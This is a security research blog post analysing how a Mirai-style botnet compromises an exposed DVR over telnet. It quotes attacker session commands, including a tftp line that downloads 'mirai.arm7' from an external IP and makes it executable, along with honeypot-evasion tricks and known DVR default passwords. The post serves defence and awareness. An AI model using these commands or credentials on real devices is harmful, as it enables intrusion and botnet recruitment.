Most devices connected to the Internet these days aren't maintained and monitored personal computers. Instead, they are devices who are often not understood as computers but as "things", giving rise to the term "Internet of Things" or "IoT".

Over two years ago, we reported about how exploited DVRs are used to attack other devices across the internet. Back then, like today, the vulnerability was an open telnet server with a trivial default password. At the time, we approached the manufacturer about this issue, and they released a firmware update that turned off telnet, by default, and actually made it a bit hard to turn on. You can no longer turn it on via the web-based interface, but only by using the "physical" interface displayed to the user connected to the DVR via an attached monitor.

But not all manufacturers did this, and there are of course still plenty of un-patched devices connected to the internet 2 years later.

As a result, we now have > 100,000 devices strong Botnets launching attacks exceeding 1TBps. [1]

One indication of this problem is visible in our data. If you look for common DVR default passwords, like xc3511, you will note a marked increase in the last couple of weeks:

Other passwords also increased significantly. For example look at 7ujMko0admin . This password doesn't look very weak at first. But, it turns out that some DVRs just prepend "7ujMko0" to the web based password. We use honeypots to capture this data, and they work well to collect the passwords, but they are poor match to the DVR's OS, so I decided to go a different route to figure out what happens next.

To test, how "bad" it is to expose a DVR to an internet connection, I did just that. I used an old DVR I had sitting around from the last DVR malware episode, and connected it to my "normal" cable modem internet connection. I captured all packets going in and out of the system, and kept watching it to make sure it wouldn't be used to attack other systems.

The sad part is, that I didn't have to wait long. The IP address is hit by telnet attempts pretty much every minute. Instead of having to wait for a long time to see an attack, my problem was that the DVR was often overwhelmed by the attacks, and the telnet server stopped responding. I had to reboot it every few minutes.

Not all attacks were successful. The attacks used various passwords, and my honeypot only allowed logins for one of them. But a couple times an hour, someone used the correct password.

The attacks I saw all followed a similar pattern:

1 - Initial Login

The attacker would run a couple of commands to make sure they are not connected to a router or a common honeypot like cowrie:

   dvrdvs login: root
   Password:

   BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)

   Enter 'help' for a list of built-in commands.

   can not change to guest!

   [root@dvrdvs /] # enable
   -sh: enable: not found
   [root@dvrdvs /] # shell
   -sh: shell: not found
   [root@dvrdvs /] # sh /bin/busybox ECCHI

   BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)

   Enter 'help' for a list of built-in commands.

   ECCHI: applet not found

The use of the command "busybox ECCHI" appears to have two functions. First of all, cowrie, and more "complete" Linux distrubtions then commonly found on DVRs will respond with a help screen if a wrong module is used. So this way, "ECCHI" can be used to detect honeypots and irrelevant systems if the reply isn't simply "ECCHI: applet not found". Secondly, the command is used as a market to indicate that the prior command finished. Later, the attacker adds "/bin/busybox ECCHI" at the end of each line, following the actual command to be executed.

This technique isn't new and we have seen it in the prior DVR and IoT compromises. Other strings are used as well, in particular the string "MIRAI". See the analysis by malware must die for more details about this and other similar botnets.

Quick side note: "ecchi" often refers to anime cartoons with adult content. "mirai" is the Japanese word for future. So we may be dealing with some anime fans here. 

2 - Additional Fingerprinting

The attacker then typically does some fingerprinting by reading /proc/cpuinfo and the list of partitions. 

Next, the attacker tests if a binary file can be created using the "echo" command, but creating a quick sample file:

   /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon

This sends the string "kami" to the file /.nippon. This test is then repeated on all partitions found in "mount".

The attacker will remove the file (.nippon in this case), and also remove a number of other similar files, that may have been left behind by the competition

rm /.t; rm /.sh; rm /.human

I have also seen .s being used, but it looks like this attacker wasn't aware of that file.

Next, the attacker tests if tftp and wget is available. On my system, only tftp was available. He tried to use it to download a tool called "dvrHelper", but the download failed in this case:

  /bin/busybox tftp -g -l dvrHelper -r mirai.arm7 77.247.181.215; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
  /bin/busybox cp dvrHelper upnp; > upnp; /bin/busybox chmod 777 upnp; /bin/busybox ECCHI

Finally, since neither tftp or wget worked, the attacker used the good old "echo" trick to build a binary:

  ​echo -ne '\x7f\x45\x4c\x46\x01\x01 ... ' > upnp ; /bin/busybox/ECCHI

I recovered two distinct binaries. The first one downloads additional malware via a simple TCP connection, while the second one appears to include the entire telnet scanner. 

3 - Download Bot/Scanner

Here is where things get a bit different from the older exploits. In the past, these exploits relied heavily on bash/perl/python scripts, or relatively bulky binaries. In this case, the binaries are very small, only a few hundred bytes long. "upnp" above is 1664 bytes long.

Soon after the binary is downloaded, it will start scanning for more vulnerable hosts at a very high rate (> 100 connections/second).

The results are passed to a collector on port 80 about once a minute. The request sent is not a normal HTTP request, but instead just the string "telnet arm7" . I didn't allow the system to reach any other vulnerable systems, but I suspect that the list of IP addresses it found vulnerable would have been added to the request.

Interestingly, I didn't see any attempt by these bots to reset the password. The DVR was left wide open to additional attacks.

During my experiments, the DVR was successfully attacked several times an hour. 

What can you do to help?

Consider running the latest version of cowrie on a honeypot to help us keep an eye on the passwords attempted to look for any shifts in the current pattern. And of course let your friends / family members know that the fancy security camera system they have may have a problem. 

Related Files:

- pcap of attack: https://isc.sans.edu/diaryimages/completedvrattack.pcap
- "upnp" binary: https://isc.sans.edu/diaryimages/dvrbot_upnp
- another binary from an earlier attack: https://isc.sans.edu/diaryimages/s_malware

I would like to thank Dave Hoelzer and and David Hollister who helped me understand the "s" binary above better.  

[1] Source Code for IoT Botnet ‘Mirai’ Released

[2] http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html?m=1

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn